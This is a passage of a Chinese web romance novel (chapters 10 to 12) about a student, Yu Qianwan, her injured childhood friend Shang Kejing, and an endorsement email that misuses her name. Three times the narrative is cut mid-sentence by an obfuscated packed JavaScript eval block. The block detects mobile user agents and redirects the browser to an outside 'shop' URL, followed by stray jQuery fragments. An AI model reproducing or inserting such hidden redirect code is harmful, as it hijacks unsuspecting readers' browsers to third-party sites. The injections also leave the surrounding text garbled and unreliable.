桑元蔚朝他招了招手,“先回来吃吧,我瞧着他现在不饿,等咱们吃完再去喂他,正好把汤放凉些。” 话虽如此,但见到丈夫的吃饭速度,桑元蔚又小声补充句:“你吃慢些,让千绾先吃完。” 商承嗣反应了下,听着耳边还在叽叽喳喳讲话的两人,瞬间懂了妻子的意思,眸中蓄上些儒雅笑意点了点头。 虞千绾全然没觉察到叔叔阿姨的小套路,率先吃完饭便主动去给商恪景喂饭。 刚刚对待商承嗣爱答不理,吃一口饭念叨好几句的商恪景这时候倒是安静了不少,虽然还是会咕哝说没味道不好吃,但一见虞千绾横来一眼就老实地张大嘴巴去吃下一口,生怕她不继续喂了。 大抵是因为受伤,商恪景感觉虞千绾对他的态度温和许多,喂饭动作也都轻轻缓缓的,稍不注意有汤液从唇角滑下,她立即就用纸巾轻轻为他沾去,身形会在那瞬间忽地压下靠近他,袭来阵阵馨香。 10. 第 10 章 傍晚,商知珩下班来到医院,虞千绾这才放心离开。明天一早有节早八课程,她还得赶回学校外的住处。 商恪景当晚虽也办理了出院手续回家休养,但短期内没法下床自如走动,便用手机给辅导员发了消息请假一段时间,假条由虞千绾明天去学校为他补上。 觉没睡好,虞千绾回家的车程中哈欠连天,脑袋嗡嗡的发胀,跟常桦聊完一个话题后就将手机息屏,昏昏欲睡地仰靠在座椅靠背上闭上了眼。 一个暑假晚睡晚起的她昨天还在担心明天冷不丁早起赶早八会不会猝死,没成想商恪景受伤的事突发。她现在只想倒头就睡,完全不用担心晚上睡不着早上起不来的问题,倒也算给了她个缓冲,明天不至于太难受。 半梦半醒间,虞千绾感觉到车速放缓,似有所感地眯开眼,果不其然,窗外已是熟悉的校外小区。 不得不坐起些身,虞千绾打着哈欠拿好自己的东西,将包包挎到身上。 车停在居住的8栋前,司机下车为虞千绾打开后座车门。 虞千绾困得恍惚,脚底严实踩到地面的那一秒略有些打软,但也就一霎,声音亦因困倦噙上些鼻音,透着微微的闷涩,“李叔,我明早有课,麻烦您七点在楼下等我。” “哎好。” 司机点头应声。 虞千绾转身进到8栋,司机却没立刻离开,时不时仰头瞧瞧,直到瞧见15层亮起灯光才安心驾车离去。 在玄关处换鞋时,虞千绾分别给家里人、商恪景发消息报了个到家的平安便丢了手机去拿衣服洗澡,洗完沾床就眠。 因为睡得早,虞千绾次日倒是比闹钟还早些睁开眼,悠闲洗漱吃早饭还化了个美美的全妆。 抱着书本踏出家门,视线免不得滑过隔壁那扇紧闭着的门,虞千绾步伐不适应地顿了下。 高考之前,虞千绾就跟爸妈谈好了不想出国留学的事,她成绩优异,加之是本地户口,考上京大基本是板上钉钉的事。爸妈便提前给她在京大外买好了方便大学四年居住的房子,虞千绾去看过,装修风格是她喜欢的,各项措施也很好,尤其安保,适合女孩子独居,但就是距离京大有些远,车程不短,如果住在这,每天得早起不少时间,虞千绾哪里起得来,早八都要了她半条命。 虞千绾爸妈自也考虑过这个问题,但是没办法,这里已经是距离京大最近且较为高档的小区了,如果再近的话就没有一梯一户的了,物业、安保这方面也都一般,他们不放心让女儿独居在那。 最后还是虞千绾和商恪景一起商量着去学校最近的小区寻找房源,正好有两套邻挨着的房屋在出租,他们俩便跟家里人商量后租下。 有个相熟且放心的男生住在身边,虞千绾爸妈这才放她住到当下的小区,否则虞千绾的大学四年不知要少睡多少觉。 虞千绾跟商恪景虽然不是同班同学,但是一个专业的,大多课程都是在同个教室上的,日常同进同出。 出门上课前,商恪景的家门总是大敞着,方便虞千绾收拾好自己直接进来喊他走。 有些时候,他则直接来叩虞千绾家门,坐在她家沙发上等她。 几乎日日如此。 冷不丁少了他的身影,虞千绾惆怅叹了声,默默将怀里抱着的书本拢得更紧往前行,心里头感觉有些孤单,他是她的一切搭子,什么饭搭子、聊天搭子、上下学同路搭子、旅游搭子、运动搭子…… 他一走,她什么搭子都没了。 虞千绾一直都知道商恪景是她最好的朋友。 他们俩自幼相识,性格也很多地方相仿,譬如交友这点,在友情上也很有占有欲的他们都更倾向于一对一的关系,虽然嘴上没明确说过,心里也没这么深想过,但举措是这么做的。身边只要有一个关系很好的朋友,他们就不太会去接触新朋友,就算接触了新朋友,但也不会是很近很近的关系,有什么事情什么话还是第一时间找关系最好的对方分享。 但今天,商恪景没在,且可能持续好一段时间都不在,虞千绾才更切实地体会到商恪景这个最最最好的朋友在她的生活里有多重要。 “滴——” 电梯到达声响起的同时,虞千绾手机屏幕忽亮。 虞千绾进到电梯里,按了个一楼,电梯门缓缓合上,她这才举起手机查看。 手机面部自动解锁,虞千绾看到了微信的logo,随之点进微信。 但电梯里信号不好,微信主页面一个劲的转圈圈,就是弹不出新消息。 虞千绾郁郁下滑着页面刷新,结果并没什么效果,圈圈依旧转得欢快,看得人心烦。 电梯行至一楼。 虞千绾踏出,走了两步,圈圈终于没再转,一个清晰的小红点映入眼帘。 前头缀着的备注也一如她所念——【商恪景】 刚还有些郁结无聊的虞千绾顿时精神一震,迅速点入查看。 [干嘛呢?] [起床没?别睡过了] [揉捏脑袋.gif] 虞千绾长按第二条消息,引用回复:[小瞧谁呢?本宫已经下楼了!] 回完此条,虞千绾还顺手拍了张眼前的照片给他证明自己说的是真的。 商恪景:[稀奇] 虞千绾回了个不屑哼哼的傲娇表情包。 王叔已经开车等在楼下了,两人笑着打了个招呼,虞千绾上车后继续和商恪景聊:[你才稀奇,不是请好假了吗,怎么不睡懒觉,这个点居然醒了] 商恪景:[昨天睡多了] 虞千绾:[今天感觉怎么样?伤口好点吗?] 商恪景顺势卖惨:[不行啊,疼的更厉害了,不然你再过来慰问慰问我?正好给我带点好吃好喝的] 虞千绾一眼看破:[少装,而且我今天确实没空,我姐让我下课去嘉澍一趟,有工作的事跟我说] 商恪景:[?] 商恪景:[陌生] 虞千绾:[我这是为了我的美好未来,我这账号要是做成了,以后都不用朝九晚五去坐班了] 商恪景:[但你不感觉你现在投入的时间更多了吗?依着之前的约定,现在不是你休息放假的时候吗?还是昭音姐有手段啊,一点一点把某人套住,某人却浑然不知] 虞千绾瞳孔地震,猛地反应过来。 对啊,她之前那条视频那么多点赞量,现在是她休息的时间啊。 但如果真隔几个月以后再去经营账号,以现在网络更迭的速度,她的热度早没了,谁知道还能不能再做出十万加的视频。 可她现在都这么想的话,以后账号开始经营积累了粉丝更不敢轻易长时间不更新了。 虞千绾大梦初醒,单手扶额,她好像真上了姐姐的套。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16223410|181625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心里头这么想,嘴上却不服输。 虞千绾嘴硬回:[现在投入的时间只是一点点,回报却是大大的,起码我时间很自由!地点也很自由!等你以后去永誉工作你就羡慕我吧] 商恪景:[哇~真是好羡慕呢] 光是看文字都阴阳怪气到不行的程度,虞千绾说不过他,气得猛呼了一下,额前碎发被气流微微带起又轻轻垂落。 “哒——” 很轻的一声开门声,正对着手机在笑的商恪景下意识掀眸寻声看去。 是商知珩,他准备去上班了,上班前来查看一下商恪景的情况。 四目相对,商知珩意外抬了抬眉,抬步走近,“这么早醒了?还是伤口疼得睡不好吗?吃没吃止疼药?” “还行,没那么疼了,我就起来看看手机,过会儿继续睡。” 商知珩看着商恪景面上未散的荡漾,心生了然地往他手机瞥了眼,“虞千绾?” 这两天接连被家里人提到且发现,商恪景耐受度都明显提高不少,此刻听到哥哥提她不仅不红温,还更为荡漾地分享,“对啊,平常我们俩都一起去上学的。她老喜欢摁了闹钟再眯几分钟,我今天不在,没人喊她,她要是睡过了就糟糕了,影响平时分,所以我给她发消息确认一下。” 以商知珩对商恪景的了解程度,他也是个爱睡懒觉爱关掉闹钟再睡一会儿的,显然不可能正正好好在这个点醒来提醒虞千绾,大概率也定了个闹钟。 商知珩鼻腔间漫出声很轻的笑,很符合小孩子玩暧昧的清纯稚嫩劲。 “现在确认好了?能不能睡了?医生让你多注意休息。” “等一等,她还在坐车往学校去,学校很大,外来车不能开进去。教室和校门口又离很远,她不会骑电动车,平常都是我扫共享电动车载她的,她今天自己还不知道要走多久,路上肯定很无聊,我陪她聊几句。” “心还操挺多。” 商知珩话刚落,商恪景手机就弹出声“滴滴”的消息音。 商恪景立即低头看去,视线扫过文字,笑容彻底绽开,他五官飞着将手机屏幕转向商知珩给他看。 商知珩定睛一瞧,手机那头的虞千绾说:[救命啊商恪景,你什么时候才回来上学啊,好希望你伤口一秒痊愈。我一下车就被热气包裹,热死了,还要顶着太阳走好远好远好远……好想死] [下课还得这么走回来,啊啊啊啊,早知道我就学学电动车怎么骑了] [晕倒.gif] 完全没有商量过的前后脚对话,仿佛共脑。 没有过这种体验的商知珩既讶然又觉神奇的笑了声,视线稍错就看到了手机后面的商恪景,他一脸毫不掩饰的得意,眉梢高高扬着,好像无声在说“你看吧,她就是很需要我,我的担心一点都不多余”。 商知珩思忖须臾,很认真也很想不通地开了口:“我有一个问题。” “什么?” “你这么了解她,她也很需要你,你们接触这么频繁,她怎么会喜欢上了别人?” 商恪景的笑容一秒消失,心口宛若被人重重插了一刀,他有些想吐血,瞬间收回了手机,将头转了过去背对着商知珩,不想再讲话的声音极度滞闷,与刚刚的模样判若两人,“哥你快去上班吧。” 尽是些不好听的扎心话…… 他倒是也想知道为什么啊。 11. 第 11 章 虞千绾到达教室的时间并不早,卡在上课前五分钟,换做平常这个点教室里已经挤满了学生,剩下的位置要么很靠前要么很靠后,但今日的教室略显稀疏,还剩不少不错的空位。 估摸是第一节课就喜提早八,很多人都不适应起不来,加之推免名额基本敲定,能保研的那批学生也都心中有数不用再那么莽着劲,极致的努力后是极致的摆烂。仅存的那批认真看书算题的学生基本都是在备战研究生考试的,没几人管将要上的课,就连讲台上的老师似乎都不大重视的样子,笑眯眯跟坐在前排的同学聊着读研还是工作的话题。分明才一个暑假的时间,氛围却和上学期有着明显的分别,大家似乎都有了未来的新道路。 幸而三个室友都已经来了,虞千绾不至于落单,稍稍在心头感慨了番就朝她们身边的空位行去求温暖。 她刚将书本放在桌面上,听到动静的三个室友同步抬起头,看到她又是同步一笑,“千绾你来啦。” 虞千绾双臂大展,直接倾身给了她们一个大熊抱,笑颜如花落座迅速加入,“聊什么八卦呢?看着这么沉浸式。” “你怎么知道我们在聊八卦?” “很明显啊,手机也不玩,觉也不睡,还说得手舞足蹈满面红光。” 三人听着这个形容,纷纷都挺绷不住神情,彻底笑开了花。 挨着虞千绾最近的晁研小声跟她分享,“咱们学校物理系来了个超帅的新老师!听说是刚从德国那边读完博回来的,这些天好多学生拍他的照片发在表白墙上。” 虞千绾表情登时有些微妙,“嗯……可以看出是刚任教不久了。” 她素来认为物理这种难度的科目极少能得学生欢喜,学生对物理老师的态度就像是打工的牛马对待老板,虽然双方都只是在做自己该做的事情,但仿佛天然就站在对立面,颜值在这种时候压根不值一提。少数时候确实感觉还不错,多数时候都是埋怨的吐槽。不排除确有相处很好的,但恐得是万万万里挑一。 虞千绾没将话尽数说出,晁研却秒懂,“哎呀,反正我们又不是物理系的学生,受到的摧残与我们无关,我们只需隔空欣赏帅脸。而且,这个周老师真的帅得很突出!我看评论区好多人都分享了照片,各个角度的!不像之前那些只一个角度帅的照骗!” 为了证明自己说的是真的,晁研拿出手机,将照片怼到虞千绾面前给她看。 虞千绾定睛一看,还真是。 不过这位周老师的气质与刻板印象中的物理老师不太一样,反倒像是位被裹挟着书卷气的江南烟雨冲刷多年的文科老师,很是温儒。但这种儒雅仅限于气质,因为他的五官又有种微微矛盾的冷感,和商知珩给人的感觉莫名有些异曲同工之处。许是因为手上拿着书本,背后是写满大物解题步骤的白板,消解了难接近的几分冷隽,更添些学术气息。 “帅吧?” 另个室友徐盼雁也巴巴探过头来求认同,“我觉得他是上大学以来我见到的唯一一个能和商恪景一争高下的。” 虽然是虞千绾完全不会感兴趣的类型,但她很客观地重重点了点头说:“帅!不过感觉他和商恪景很难去比较诶,他俩完全是两个类型的帅。” 室友点头赞同,“嗯,一个是人群里一眼就能看到的具有冲击性的浓颜长相,一个是淡淡的但又莫名很容易勾起人的探索欲的长相。” 恰好聊到商恪景,晁研这才乍然想起他,视线下意识朝四周梭巡了圈,没寻到目标,手肘轻抵了下虞千绾的胳膊,“诶,商恪景呢?你俩今天没一起吗?” 另外俩室友同步抬起头也朝四周看了眼,习惯了他俩三年如一日的结伴,今日没瞧见商恪景,她俩也觉稀奇。 被爷爷打这种事说出来过于泄露隐私,虞千绾只道说:“他出了个小意外,后背受伤了,伤得还不轻,这几天不方便下床走路,所以得在家养一阵才能来上课。” 室友们都跟商恪景不太熟,也没问太多,只是出于同学间的礼貌关切了几句就带过了话题。 - 大四的重点基本都放在毕业论文上,考虑到有些同学已经在找实习,尽量不耽误大家的时间,虞千绾跟的论文导师很体贴地查看了她们课表,知道她们今天早上有课都会在学校后便让她们下课直接来她办公室聊聊论文。 虞千绾和商恪景跟的论文导师也是同一个,省得他下次再跑一趟,虞千绾跟老师聊完自己的论文后又替商恪景跟老师聊了聊,反正他们同专业的,她对商恪景的论文选题也不陌生,把老师叮嘱的那些重点记下,回去全部转告给商恪景。 这么一折腾,虞千绾再从学校出来已至正午。 校外的餐饮店飘出香喷喷的饭菜香,虞千绾突然就有些饿了,但这点饥饿感不敌正盛的日头难捱,她从老师办公室走到校门口被毒辣的太阳晒出一身汗,第一时间上车拧开瓶冰水喝下半瓶,燥热这才有所消退。 高温引起的心烦意乱在低温的车内待了十来分钟才彻底散去,饿意跟着翻涌而起。 虞千绾鼻尖好似又嗅到了校门口的那股子饭香味,她突然有点馋大白米饭,立即给姐姐发去消息: 先是一个谄媚示好的表情包。 [姐~~你午饭有安排了嘛?咱们聊完工作去吃川菜呗?我知道一家味道很不错的!] 虞昭音大概在忙工作没看手机。 虞千绾习惯自家姐姐的工作狂属性,耐心等待她的回复。等待期间,虞千绾切换手机页面进到川菜馆的预约界面,已经对着菜单选好吃什么了,只待姐姐一句允可她就提交。 谁知这么一等就是半小时,车都快驶到嘉澍集团楼下了,虞千绾才收到虞昭音的消息,简洁明了的两个字——[不行] 虞千绾的心咔嚓一声,碎了个彻底。 [刚开完会,午后还有会,没时间出去吃,下次有时间我请你] 虞昭音的解释随之发来。 知道姐姐工作的辛苦,虞千绾自然没法再说什么,只能先放下出去吃的念头,午饭在虞昭音那简单凑合一顿。 [到哪了?] [快了,大概两三分钟就到嘉澍楼下了] [行,我还有一件事问你。到了就直接上来,别跑去买一圈吃的再来,不然我开会前说不完你还得在这等几个小时。] 虞千绾看着最新的消息,心头陡然警铃大作,她有种不好的预感,切切追问:[什么事?] 虞昭音却没直接告知:[来了当面说。] 虞千绾顿时更加忐忑了。 惦记着这事,虞千绾下车后一点时间没耽误,三步并两步地走,很快到达虞昭音的办公室,推门的瞬间就忍不住张嘴要问:“姐——” 结果刚说出一个字,虞千绾就通过逐渐推开的门发现办公室里除虞昭音外还有三人,她立即噤了声,面上端庄了些。 三人中有一位是虞千绾熟识的,跟随虞昭音多年的汤助理,但另外两人她完全陌生。 虞昭音正在趁着空闲时间吃饭,见虞千绾来她才停止进食,为她们介绍了圈说了几句再继续吃,汤助理接过虞昭音话茬展开详说。 虞千绾心里头跟猫抓似的难捱,万分好奇姐姐在微信里说的那件事究竟是什么,但还有旁人在,她只得摁下,等她们走了再私下跟姐姐聊。 办公室内另外两位都是负责网络推广这方面的,一个是部门总监,一个是安排给虞千绾负责与她日后的对接,算是她的秘书。 今日见面一是先认识一番,二是交涉后续的想法,三是最重要的一点——集团下面的一家购物平台新签了个顶流男艺人,国庆那段时间正式拍摄宣传海报和广告,她们想着虞千绾如果到时候也来拍摄一些花絮,再和艺人互动拍些照片什么的做成vlog发到自己的新账号上能获得不错的流量,届时不仅虞千绾的新账号开了个好头,品牌宣传效果也或能翻一番。 虞千绾自然情愿,因为这位男艺人是真顶流,而非狗仔爆瓜时吹嘘的假顶流。她的视频里若是出现这位,十万赞压根不用担心,但凡剪辑稍微好些,再配个不错的BGM都能达到。这样的话,她又能喜提至少一个月的假期。 一想到这些,虞千绾就干劲十足,就着这个话题当即和两人往下延伸,询问想法的可行度。 起初,虞昭音还担心虞千绾应接不暇,时而会补充说明几句,但没一会儿,虞昭音就发现自己的担心多余了,虞千绾懂的远比她想象得多,很多专业术语她都听不明白,虞千绾却懂,三个人聊得有来有回。 虞昭音欣慰一笑,彻底心安地低头吃饭,不再多操没必要的闲心。术业有专攻,在这个领域,她才是最不懂的那个。 沟通结束时,虞千绾已经在自己的手机备忘录里记了一大堆。汤助理送走她们俩,虞千绾放松身体后靠在沙发上,继续捋着刚刚记下的内容,一想到这个视频发出去可能又会爆,她就闷不住笑,完全沉浸其中,都忘记了虞昭音还有件事要跟她说。 虞昭音瞧着虞千绾对着手机边修改边笑的模样,唇角笑容深了几分,她曲指叩了叩办公桌面,“千绾,差不多了吗?咱们先聊聊,剩下的你回去再慢慢整理,距离国庆还有一段时间,不急。” 她这边没剩多少时间了,再拖延下去就到开跨国会议的点了。 “来了。” 虞千绾意识猛地被这话拔出些,但手上动作没停,依旧在把脑子里想到的视频脚本简要写出来。好记性不如烂笔头,灵感这种事若是不及时记下,很可能扭头就忘了。 虞千绾坐到虞昭音对面的位置上,手指也打下最后一个字,她灭屏放下手机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16223411|181625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看向虞昭音的同时不自觉提了口气,“……你说。” 虞昭音开门见山问:“你跟常桦很熟?” “啊……” 没想到会冷不丁从姐姐口中听到常桦的名字,虞千绾怔了下,心脏彻底悬了起来,“还挺熟……姐你怎么会突然那问到他?” 虞昭音和爸妈都不太刷短视频这类东西,之前下载短视频APP还是因为虞千绾制作的视频小爆后往家庭群里分享了好些有趣的评论,他们好奇更多评论才去下载了APP查看,但热度渐过后他们又回归往昔,基本不会点开短视频。 那条视频正火的期间,虞昭音和家人也都刷到过虞千绾追星的事,但都当做是个人喜好,他们谁都没往男女之情上想,故也没多管没多问什么。 当下,虞昭音依旧没多问什么,只是将事情说清,“他的经纪公司给嘉澍下面一家手机品牌邮箱投了封自荐的邮件。” 嘉澍集团架构庞大,旗下有多家下属公司,几乎各行各业都有所涉猎,亦在多个品类做到翘楚,任一品牌的代言人都是咖位不低的艺人,像常桦这种热度的艺人完全不可能拿下嘉澍集团的代言,哪怕是旗下最小最小的一家公司都不可能。 不过时而,有些艺人公司会觉得艺人和品牌很贴,会尝试向嘉澍自荐,其中确有极少数成功的,但成功的那些艺人自身流量就不差,而且人家的自荐里满是对品牌定位的理解以及自身在这方面的优势,完完全全出于商业的方面考虑。 嘉澍及旗下公司并不排斥这样有勇气尝试的艺人和公司,每每收到不论是给机会面试还是拒绝都会礼貌回以邮件,但常桦这种另类的自荐文件还是头次见到。 以常桦经纪公司为名发来的邮件里写着短短的自我介绍和长长的套近乎——虞千绾/虞小姐这类字眼出现的频率极高。 与其说是自荐,不如说是想走后门。 敢这样明晃晃打着虞千绾的名号写邮件,显然与虞千绾交情不浅,起码管理邮箱的员工看到的那瞬是这么想的,他明知常桦远远达不到代言人标准,但却不敢像往常一样拒绝,而且网上一搜也能搜到虞千绾和常桦关系很近。 邮件就这么一层层上递,谁都不敢敲定,最后传到了虞昭音这儿。 虞千绾看着打印出的常桦方自荐文件,眉头一点点蹙得更深,她摇了摇头,“我不知道这件事,他没跟我说过,而且通篇文字都不是常桦的作风,他是个很要强的人,绝对写不出这些,可能是他公司背着他发来的,我过会儿问问他。姐你这边就按照正常流程拒绝就行。” “已经拒绝过了。但你这么信任他?以前好像没听你提过这号人。” 虞昭音抬了抬眉,“绾绾,我得提醒你一点。就算这件事不是他主导,他和他公司也是利益共同体,你现在去问的话,他们之间肯定已经串通好了,问不出什么的,而且我不认为他完全无辜。当然,我没跟他接触过,并不清楚他的为人,只是从旁观者的角度上给你提供另一条思路,防止你当局者迷——” “咚咚。” 叩门声忽响,打断了虞昭音的话,她望向门应了声“进”。 汤助理推开门进入,“昭音总,视频会议还有五分钟开始。” “行,我知道了。” 虞昭音颔了颔首,随即低头开始收拾开会将要用到的文件,“好了,饭菜都给你留着了,你在这吃吧,姐姐要去开会了。” 起身时,虞昭音看着虞千绾略有些迷茫失措的模样,摸了摸她可怜的小脑袋,“你问他的时候可以试探试探,如果我的担心是多余的最好。担心不多余的话,也好,提前让你认清了一个人。别沮丧了,不开心去买个包吧,我买单。” “姐姐——” 虞千绾猛地搂住虞昭音的腰,撒娇耍赖不给她走,不知道该怎么办地直哼唧,“我怎么开口啊,好难……” “看来他在你心里的重量级真挺高,一个包都解决不了,那这样吧,去买两个,另一个算是奖励你今天工作努力。乖啊听话,姐要去开会了,你不行去找商恪景哼唧去,他保不齐能给你出出办法。” 虞昭音嘴上这么哄着虞千绾,手上动作却极其无情,迅速拉开了虞千绾环在她腰上的手,只想赶着去开会,高跟鞋在地面上踩出清脆的响。虞千绾被姐姐的阔绰砸得哭笑不得,目送姐姐干练的背影离开,她心里是有些不自在的,常桦这事来得突然,她毫无准备,心绪说不出的复杂,但又很难不因为两个包包发笑。 办公室的门开了又关。 虞千绾笑容渐收,独自待了一会儿,她下定决心得尽快找常桦说清楚。 她从来不是个能藏住别扭的性子,如果不说的话她怕是会一直想一直难受。 但把这种事摊在明面上说又很尴尬,不知常桦会作何反应…… 12. 第 12 章 “咚咚咚。” “我不饿,还不想吃。” 商恪景趴在床上玩着手机听着敲门声又响起,无奈朝着门口扬声回应。 他早上和虞千绾结束聊天后完全醒神,怎么都睡不着,索性又玩了会儿手机待到有困意才重新入睡补觉,一直睡到半小时前才醒。 这期间,他爸妈发了不少消息问他睡醒没,该吃饭了,他醒后回了消息说不饿,等会儿再吃,但没什么用,奶奶隔一会儿来一趟地反复询问,生怕他饿着——因为爷爷打他的事,这两天奶奶正在跟爷爷闹别扭,还从那边的家里搬了出来,现正住在商恪景爸妈家,正好也方便照看些商恪景。 老人家总是习惯性的操心,想着,商恪景又补充了句,“我饿了会主动发消息说的,您不用一直惦记着我。” 商恪景话音未落,门就被从外推开,但来人很有分寸地没跟着踏入,只是将门推开缝隙方便对话。 一道未曾想到的声音就这么陡然袭入商恪景耳中,“是我。” 商恪景一耳朵就听出虞千绾的声音,心生讶喜,刚想应声又想起自己依旧没穿上衣,紧急低头拽着被子遮掩。 相较于他的小心谨慎和耳廓不自觉的红温,虞千绾问得很是直接,“商恪景,你干嘛呢,怎么不说话?穿衣服了吗?我能不能进去?” “等一下。” 商恪景耳朵温度更高了,确保浑身都被被子挡住只有胳膊露在外头,他才又出声:“进来吧。” 虞千绾进到卧室看到商恪景那裸露的胳膊就知道他肯定没穿上衣,但他背上有伤,想来也不适合穿,她压根没多在意这方面。提着东西风风火火往桌子上一搁,侧身坐在椅子上,一系列动作行云流水,就跟在自己家般自如。 商恪景刚想问她不是说今天忙没空来看他吗,怎么又来了。结果视线滑过她手上提着的打包袋,瞧见其上印着的熟悉logo,是他们最爱吃的那家川菜馆。 暗爽急转为气笑而出的一声短促微挑的“哈?” “虞千绾你该不是特意过来就为了在我面前吃辣的馋我吧?我承认,你拔智齿的时候我是故意馋了你几下,但很快就没馋你了,我罪不至此啊,求放过。” 一阵拆打包盒的窸窣声中,虞千绾兴致不高地幽幽睐他眼,“不要以小人之心度君子之腹,我只是单纯的想吃而已。本来打算跟我姐聊完工作以后去吃的,结果她太忙没时间,她助理订的餐我不想吃,索性就自己买了份。而且今天邢老师喊我们去办公室讲论文了,你不是没去嘛,我就帮你问了,顺路过来告诉你。” 商恪景爸妈的住处距离京大有足足一个多小时的车程,来回奔波很费时间,嘉澍大厦立于中间,直接从嘉澍过来能省不少时间,而且…… “有件事很烦,不想一个人待着。” 虞千绾单手托腮,另手把着筷子戳了戳香软的米饭,满面愁容根本压不住,就连心心念念的川菜此刻看着都没什么胃口,无声叹了口气。 见她表情不对劲,商恪景敛下不正经的揶揄,声音轻缓许多,但又因为关切微微绷着,“怎么了?” 虞千绾彻底放下筷子,转身正对着他,四目交视须臾,虞千绾完全忍不住心事地掏出手机,蹲到床边把从汤助理那要来的电子版文件打开给商恪景看。 商恪景看到常桦两个字时,心头微压的石头顿时移走,唇角跟着很轻地撇了下,还以为又要听到虞千绾说那些与常桦有关的暗恋心事,不料一目十行的草率视线忽地滑过一段十分诡异的文字,商恪景注意力重新聚回手机屏幕再三查看,确认自己没看错后的眉头瞬间拧起。 逐字逐句看完,商恪景反倒有些怀疑自己的眼睛了,手指搭在她手机屏幕上上下下滑着又挑着重点看了几遍,眉头越蹙越紧,无语到极致后的心里话脱口而出,“他这么不要脸?自己多糊自己心里没数吗?居然还想要嘉澍的代言。” “啊……你别这么说,好难听。” 虞千绾下意识推了下商恪景的胳膊。 “他要是真拿了嘉澍的代言,网友只会骂得更难听,估计宣布他这个代言人的当天,微博热搜就是——常桦是谁?” 商恪景少在和虞千绾谈及常桦的时候如此理直气壮,直呼其大名,还充斥着浓浓的恨铁不成钢意味,懒散趴伏在被单上的身体都因为激动稍稍撑起了些,“虞千绾我警告你啊,平常从手指缝里漏点钱给他得点好处就算了,权当小打小闹了,但你要是连嘉澍的资源都砸进去给他铺路,那你真是恋爱脑上头到无药可救了,这个头如果开了,后面他只会要的越来越多。” “我没有!我不会因为个人感情去干涉集团的决定,公是公私是私,我才不是那种人,而且我跟我姐说过让她按正常流程走了,这封自荐信已经被拒了。” 虞千绾接连否认,商恪景这才又安心些趴回床上,但也没太安心,依旧有些警惕地凝她,“这还差不多,那你在想什么?因为哪个点烦?” “就……” 虞千绾欲言又止,深深叹息后将手机放到一旁,双手手肘杵在床沿,双手托着下巴,整张脸都写满了惆怅,“我想跟学长聊聊这件事,看看他的态度。虽然我觉得这个是他公司发的,不是他的手笔,但又不知道怎么跟他开这个口,感觉怎么说都很尴尬。而且就算这封邮件是他公司替他投的,我跟他聊了以后,以他那个性格估计后续跟我接触会一直放不下。更何况——” 虞千绾唇瓣翕动,声音蓦地低了下去,眼睑微敛,“……他也有可能是知情的。” “我不知道怎么开口,也……有些不敢开口。” 虞千绾感觉自己就好像走到了一个死胡同,她其实打心底里更多是信任常桦的,认为他不知情抑或非他所愿,这事亦不难解决,聊开就好,但常桦是个较为敏感的性格,经常对一些旁人无心的话或举措浮想联 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16223412|181625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翩,她若是跟他开口提这个,他定然又会想很多,很可能还会影响到他们日后的相处,惹得虞千绾没法轻易开这个口。 情绪在心里一闷一发酵就容易无限放大,加之虞昭音的那番话,虞千绾对常桦的那份满分信任到底还是出现了裂痕,忍不住地去想万一、万一常桦真知情但装傻,她又该如何判断真伪。 商恪景伏在床上,恰能看到虞千绾低垂着的黯然的面颊。他感觉他也走到了两相对峙的为难局面,一边自私地想要趁机落井下石,狠狠奚落常桦一番,让虞千绾同常桦产生隔阂,一边却又不愿见她感伤。 好在这样的矛盾时刻他在这些年间出现过太多太多次,应对起来算得上是熟能生巧,很快他就抑下了那份不应该存在的阴暗情绪,以熟悉的好友姿态宽慰:“如果他确实不知情,你现在想的这些不都是自寻困扰嘛,你就直接找他,无论结果怎么样,起码有个沟通,总比一个人瞎想要好。” 虞千绾也是这么想的,但一拿起手机点入和常桦的聊天页面就少了点正式发送的勇气,当下有商恪景在一旁鼓励,她猛地吸气,在心里头默念着“一鼓作气再而衰三而竭”,趁着这个劲赶忙就打开微信戳入置顶,把电子版邮件发过去。 因为打字速度过快且重,美甲在手机屏幕上敲出清脆的响。 [学长,这偶然得知了这个] 虞千绾就发了这么句不明态度的消息,旁的话她没多提,想看常桦的回应侧重点在哪。 提着的气还没泄下,页面就弹出对方接收了文件的提醒,虞千绾摁灭手机仰头深呼口气,有些不敢看了,“他看到了!怎么办啊商恪景……好紧张。” “我帮你看?” “行!”虞千绾一秒交出手机,视死如归般狠狠闭了闭眼,但又很怂地补了句:“……如果不太好的话,你委婉点告诉我……” 正说着,手机屏幕忽亮,锁屏页面出现微信的小图标。 商恪景:“消息来了。” 虞千绾一秒趴了下去,提心吊胆不敢直面。 商恪景问了她密码,解锁的过程中,不自控木滞微僵的手指按错了好几次。 终于解锁点入微信,好不容易建设好些的心脏又在看到常桦是微信置顶的那秒碎裂。 